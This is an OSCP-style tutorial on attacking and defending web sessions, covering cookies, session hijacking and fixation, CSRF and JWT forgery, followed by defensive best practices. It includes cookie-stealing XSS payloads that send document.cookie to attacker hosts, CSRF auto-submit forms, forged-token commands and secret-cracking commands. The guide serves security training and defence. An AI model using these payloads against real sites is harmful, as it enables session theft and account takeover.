Session Management
Overview
Session management is the mechanism by which web applications maintain state across multiple requests from the same user. Understanding how sessions work, how they’re stored, and how they can be attacked is essential for OSCP. This guide covers cookies, server-side sessions, JWT tokens, and the various attack vectors available to compromise them.
Session Flow
Understanding the complete session lifecycle is the foundation for all session attacks.
Typical Session Lifecycle
1. User Login
↓
Client sends: username + password
↓
2. Server Validation
↓
Server checks credentials against database
↓
3. Session Creation
↓
Server creates session data (user_id, role, permissions)
Server generates unique session ID
↓
4. Cookie Setting
↓
Server sends: Set-Cookie: SESSIONID=abc123
Client stores cookie
↓
5. Subsequent Requests
↓
Client sends: Cookie: SESSIONID=abc123
Server validates session ID
Server retrieves session data
Server processes request as authenticated user
↓
6. Session Termination
↓
User logs out OR session expires
Server invalidates session
Session Storage Mechanisms
Server-Side Sessions:
├── File-based (/var/lib/php/sessions/)
├── Database-based (sessions table)
├── Cache-based (Redis, Memcached)
└── Custom storage
Client-Side Sessions:
├── Cookies (traditional)
├── JWT (self-contained tokens)
├── LocalStorage
└── SessionStorage
Session Mechanisms Comparison
Cookies vs Sessions vs JWT vs API Keys vs OAuth
| Mechanism | Storage | Stateful | Expiration | Best For |
|---|---|---|---|---|
| Cookies | Client + Server | Yes | Configurable | Web sessions |
| Sessions | Server | Yes | Configurable | Traditional web apps |
| JWT | Client (token) | No | In token | APIs, microservices |
| API Keys | Client | No | Manual | Service-to-service |
| OAuth Tokens | Client | Yes | Short-lived | Third-party auth |
When Each Is Used in OSCP Labs
- Cookies + Server Sessions: Traditional PHP/Python web apps
- JWT: Modern API-based applications, SPAs
- API Keys: Internal APIs, microservice architectures
- OAuth: Applications with social login or SSO
Cookie Deep Dive
Cookie Structure
Set-Cookie: name=value; Path=/; Domain=example.com; Expires=Wed, 09 Jun 2021 10:18:14 GMT; HttpOnly; Secure; SameSite=Strict
Cookie Attributes
HttpOnly
# Purpose: Prevent JavaScript access to the cookie
# Protection: Mitigates XSS cookie theft
# Setting: HttpOnly flag
# With HttpOnly
Set-Cookie: session=abc123; HttpOnly
# document.cookie will NOT include this cookie
# Without HttpOnly
Set-Cookie: session=abc123
# document.cookie WILL include this cookie → XSS vulnerable
Secure
# Purpose: Only send cookie over HTTPS
# Protection: Prevents cookie interception on unencrypted connections
# Setting: Secure flag
Set-Cookie: session=abc123; Secure
# Cookie only sent over HTTPS connections
# On HTTP, cookie is NOT sent → potential auth bypass on mixed-content sites
SameSite
# Purpose: Control when cookie is sent with cross-site requests
# Protection: Mitigates CSRF attacks
# SameSite=Strict
# Cookie never sent on cross-site requests
Set-Cookie: session=abc123; SameSite=Strict
# SameSite=Lax (default in modern browsers)
# Cookie sent on top-level GET requests
Set-Cookie: session=abc123; SameSite=Lax
# SameSite=None
# Cookie sent on all requests (requires Secure flag)
Set-Cookie: session=abc123; SameSite=None; Secure
Domain and Path
# Domain: Controls which domains the cookie is sent to
Set-Cookie: session=abc123; Domain=.example.com
# Cookie sent to: example.com, www.example.com, api.example.com
# Path: Controls which paths the cookie is sent to
Set-Cookie: session=abc123; Path=/admin
# Cookie only sent to /admin/* paths
Expires and Max-Age
# Expires: Absolute expiration date
Set-Cookie: session=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
# Max-Age: Relative expiration in seconds
Set-Cookie: session=abc123; Max-Age=3600 # 1 hour
# Session cookie (no expiration)
Set-Cookie: session=abc123
# Cookie deleted when browser closes
Cookie Attacks
1. Session Hijacking
Session hijacking occurs when an attacker steals a valid session cookie.
# Methods of obtaining session cookies:
# 1. Network sniffing (no Secure flag)
tcpdump -i eth0 -A 'tcp port 80 and cookie'
# 2. XSS (no HttpOnly flag)
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
# 3. CSRF (no SameSite protection)
# Attacker's page sends request with victim's cookie
# 4. Server vulnerability (log files, error pages)
# Session ID logged in application logs
# 5. Browser extension malware
# Malicious extension reads document.cookie
Session Hijacking Exploitation
# Once you have a session cookie:
# 1. Import cookie into browser
# Use EditThisCookie or Cookies Manager+ extension
# Or use Burp Suite to modify requests
# 2. Use curl with stolen cookie
curl -b "SESSIONID=stolen_cookie_value" http://target/admin/
# 3. Use Burp Suite
# Intercept request → Edit Cookie header → Forward
# 4. Python requests
import requests
session = requests.Session()
session.cookies.set('SESSIONID', 'stolen_cookie_value')
response = session.get('http://target/admin/')
2. Session Fixation
Session fixation allows an attacker to set a known session ID before the user logs in.
Attack Flow:
1. Attacker obtains a valid session ID
(e.g., by visiting the site and noting the cookie)
2. Attacker tricks victim into using that session ID
(e.g., via URL: http://target/?SESSIONID=attacker_known_id)
3. Victim logs in with the fixed session ID
4. Attacker uses the known session ID to access victim's account
Exploitation:
http://target/login?PHPSESSID=known_session_id
http://target/?jsessionid=known_session_id
3. Cookie Manipulation
Some applications store sensitive data directly in cookies.
# Common cookie manipulation targets:
# 1. Role/privilege cookies
Cookie: role=user
→ Change to:
Cookie: role=admin
# 2. Serialized data in cookies
Cookie: user_data=O:4:"User":1:{s:4:"role";s:4:"user";}
→ Change to:
Cookie: user_data=O:4:"User":1:{s:4:"role";s:5:"admin";}
# 3. Base64-encoded cookies
Cookie: session=dW5hdXRob3JpemVk
→ Decode: base64 -d <<< "dW5hdXRob3JpemVk" → "unauthorized"
→ Modify and re-encode
# 4. Signed cookies with weak secrets
Cookie: session=data.signature
→ Forge new signature with discovered secret
4. CSRF (Cross-Site Request Forgery)
CSRF exploits the trust a site has in a user’s browser.
<!-- CSRF Attack Example -->
<!-- Attacker's page -->
<form action="http://target/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="10000" />
<input type="submit" value="Click me!" />
</form>
<!-- Auto-submit variant -->
<img src="http://target/transfer?to=attacker&amount=10000" />
<!-- JavaScript auto-submit -->
<script>
document.forms[0].submit();
</script>
JWT (JSON Web Tokens) Deep Dive
JWT has become the standard for stateless authentication in modern web applications. Understanding JWT structure and attack vectors is critical for OSCP.
JWT Structure
A JWT consists of three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│────────── Header ──────────││────────── Payload ───────────││──── Signature ────│
Header
{
"alg": "HS256",
"typ": "JWT"
}
alg: Algorithm used for signingtyp: Token type (always “JWT”)
Payload (Claims)
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516325422,
"role": "user",
"admin": false
}
Common claims:
sub: Subject (user ID)name: User’s nameiat: Issued at (timestamp)exp: Expiration time (timestamp)iss: Issueraud: Audiencerole/admin: Custom claims for authorization
Signature
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
JWT Encoding/Decoding
# Decode JWT parts
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Output: {"alg":"HS256","typ":"JWT"}
# Decode payload
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0" | base64 -d
# Output: {"sub":"1234567890","name":"John Doe"}
# Note: JWT uses base64url encoding (no padding, - and _ instead of + and /)
# Add padding if needed: echo "xxx" | base64 -d → may need == appended
JWT Attack Vectors
1. Algorithm Confusion: “none” Algorithm
The most common JWT attack. If the server accepts the “none” algorithm, the signature is ignored.
# Step 1: Change algorithm to "none"
Original header: {"alg":"HS256","typ":"JWT"}
Modified header: {"alg":"none","typ":"JWT"}
# Step 2: Base64 encode modified header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
# Output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Step 3: Keep original payload (or modify it)
echo -n '{"sub":"1234567890","name":"John Doe","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'
# Output: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0
# Step 4: Combine with empty signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0.
# Step 5: Use the forged token
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0." http://target/api/protected
2. Algorithm Confusion: RS256 to HS256
When a JWT uses RS256 (RSA), but the server incorrectly verifies it with HS256 (HMAC).
# Step 1: Get the public key of the RSA keypair
# Usually found at:
# http://target/.well-known/jwks.json
# http://target/api/jwks
# Or extracted from the application source
# Step 2: Sign the JWT with HS256 using the public key as the secret
# The public key becomes the HMAC secret
python3 -c "
import jwt
import json
# Public key as HMAC secret
public_key = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBg...\n-----END PUBLIC KEY-----'
# Payload to forge
payload = {
'sub': '1234567890',
'name': 'John Doe',
'role': 'admin'
}
# Sign with HS256 using public key
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
# Step 3: Use the forged token
curl -H "Authorization: Bearer $FORGED_TOKEN" http://target/api/protected
3. Weak Secret Brute-Force
If the JWT is signed with HS256/HS384/HS512, the secret can be brute-forced.
# Using jwt_tool
perl jwt_tool.pl -T <jwt_token> -wc /usr/share/wordlists/rockyou.txt
# Using jwt-cracker
node jwt-cracker <jwt_token> /path/to/wordlist
# Using hashcat
# Extract the hash
hashcat -m 16500 jwt_hash.txt /path/to/wordlist
# Common weak secrets to try:
# secret
# password
# 123456
# jwt_secret
# changeme
# key
# admin
4. Signature Bypass
Some implementations don’t verify the signature at all.
# Test: Modify the payload and keep the original signature
# If the server accepts it, signature verification is broken
# Step 1: Decode original token
# Step 2: Modify payload (e.g., change role to admin)
# Step 3: Re-encode payload
# Step 4: Keep original signature
# Step 5: Send modified token
# If accepted → signature bypass confirmed
5. Claim Manipulation
Modify claims within the payload to escalate privileges.
// Common claims to manipulate:
{
"role": "user" → "admin",
"admin": false → true,
"is_admin": 0 → 1,
"permissions": ["read"] → ["read", "write", "delete"],
"exp": 1516325422 → 9999999999,
"sub": "1234567890" → "1" // Change user ID to admin
}
6. Header Injection
Inject custom headers into the JWT to influence server behavior.
{
"alg": "HS256",
"typ": "JWT",
"kid": "1",
"jku": "http://attacker.com/jwks.json",
"x5u": "http://attacker.com/cert.pem",
"x5c": ["attacker_cert"],
"jwk": {"k": "stolen_key"}
}
JWT Tools
jwt_tool (Perl)
# Full JWT attack suite
perl jwt_tool.pl -T <token>
# Brute-force secret
perl jwt_tool.pl -T <token> -wc wordlist.txt
# Change algorithm to none
perl jwt_tool.pl -T <token> -cn
# RS256 to HS256 attack
perl jwt_tool.pl -T <token> -cs <public_key>
# Modify claims
perl jwt_tool.pl -T <token> -pm 'role=admin'
# Blind JWT attack
perl jwt_tool.pl -U http://target/api/protected -hc "Authorization: Bearer TOKEN"
jwt-cracker (Node.js)
# Install
npm install -g jwt-cracker
# Crack JWT secret
node jwt-cracker <token> /path/to/wordlist
# With custom wordlist
node jwt-cracker <token> rockyou.txt
PyJWT (Python)
import jwt
# Decode without verification
token = "eyJhbGci..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
# Decode with verification
decoded = jwt.decode(token, "secret", algorithms=["HS256"])
# Create forged token
payload = {"sub": "1", "role": "admin"}
forged = jwt.encode(payload, "secret", algorithm="HS256")
print(forged)
JWT Attack Checklist
1. [ ] Decode and inspect the JWT payload
2. [ ] Check the algorithm in the header
3. [ ] Try "none" algorithm attack
4. [ ] Try RS256 to HS256 confusion
5. [ ] Brute-force the secret (if HS256/HS384/HS512)
6. [ ] Try signature bypass (modify payload, keep signature)
7. [ ] Manipulate claims (role, admin, exp)
8. [ ] Check for key confusion vulnerabilities
9. [ ] Look for JWKS endpoint manipulation
10. [ ] Try kid header injection
Session Management Best Practices (Defense)
Secure Cookie Configuration
// PHP
session.cookie_httponly = 1;
session.cookie_secure = 1;
session.cookie_samesite = "Strict";
session.use_strict_mode = 1;
# Python (Flask)
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_SAMESITE='Lax',
SECRET_KEY='strong_random_secret'
)
// Java (Spring Boot)
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
Session Management Recommendations
- Use secure, random session IDs — at least 128 bits of entropy
- Regenerate session ID after login — prevents session fixation
- Set HttpOnly flag — prevents XSS cookie theft
- Set Secure flag — ensures cookies only sent over HTTPS
- Set SameSite attribute — mitigates CSRF attacks
- Implement session timeout — absolute and idle timeouts
- Store sessions server-side — avoid client-side session storage
- Invalidate sessions on logout — server-side cleanup
- Use HTTPS everywhere — prevent cookie interception
- Monitor for session anomalies — multiple locations, unusual patterns
JWT Best Practices
- Use strong signing secrets — at least 256 bits for HMAC
- Validate the algorithm — never accept “none”
- Verify the signature — always, on every request
- Set expiration times — short-lived tokens (15-30 minutes)
- Use RS256 over HS256 — asymmetric signing prevents key sharing
- Validate all claims — check iss, aud, exp, sub
- Don’t store sensitive data — JWT payload is base64-encoded, not encrypted
- Implement token revocation — maintain a blocklist for logged-out tokens
- Use JWK rotation — regularly rotate signing keys
- Protect the signing key — never expose private keys
OSCP Lab Scenarios
Scenario 1: Cookie Manipulation for Privilege Escalation
1. Log in as regular user
2. Note the session cookie
3. Decode the cookie (base64/serialized)
4. Modify role from "user" to "admin"
5. Re-encode and set the modified cookie
6. Access admin panel
Scenario 2: JWT Algorithm Confusion
1. Obtain a valid JWT token
2. Decode and inspect the header
3. Change algorithm to "none"
4. Modify payload to set admin role
5. Create new token with empty signature
6. Use forged token to access admin endpoints
Scenario 3: Session Hijacking via XSS
1. Find reflected XSS vulnerability
2. Inject script to steal cookie:
<script>new Image().src='http://10.10.14.1/cookie?c='+document.cookie</script>
3. Set up listener: python3 -m http.server 80
4. Access logged-in page with stolen cookie
Scenario 4: JWT Secret Brute-Force
1. Obtain a valid JWT token
2. Identify HS256 algorithm
3. Use jwt_tool or jwt-cracker with wordlist
4. Once secret is found, forge admin token
5. Access protected resources
Key Takeaways
- Cookies are the foundation of traditional web sessions — understand all attributes
- HttpOnly, Secure, SameSite are your first line of defense (and attack targets)
- JWT is base64-encoded, not encrypted — anyone can read the payload
- “none” algorithm attack is the most common JWT vulnerability
- RS256 to HS256 confusion exploits incorrect signature verification
- Weak secrets can be brute-forced with common wordlists
- Session fixation exploits the lack of session ID regeneration after login
- Cookie manipulation works when sensitive data is stored client-side
Exam Tips
-
When you see a cookie, always check:
- Is it base64-encoded? Decode it
- Is it serialized PHP/Java? Try to modify it
- Is it a JWT? Decode and inspect all three parts
- Does it contain role/privilege data? Try to modify it
-
For JWT tokens:
- Always try the “none” algorithm first
- Check if the secret is weak (common words)
- Look for RS256/HS256 confusion
- Try modifying claims and keeping the signature
-
For session cookies:
- Check if HttpOnly is missing → XSS to cookie theft
- Check if Secure is missing → intercept on HTTP
- Check if SameSite is missing → CSRF attacks
- Try session fixation by setting a known session ID
-
Tools to keep ready:
jwt_tool.plfor JWT attacksjwt-crackerfor secret brute-force- Burp Suite for cookie manipulation
- Browser cookie editors for testing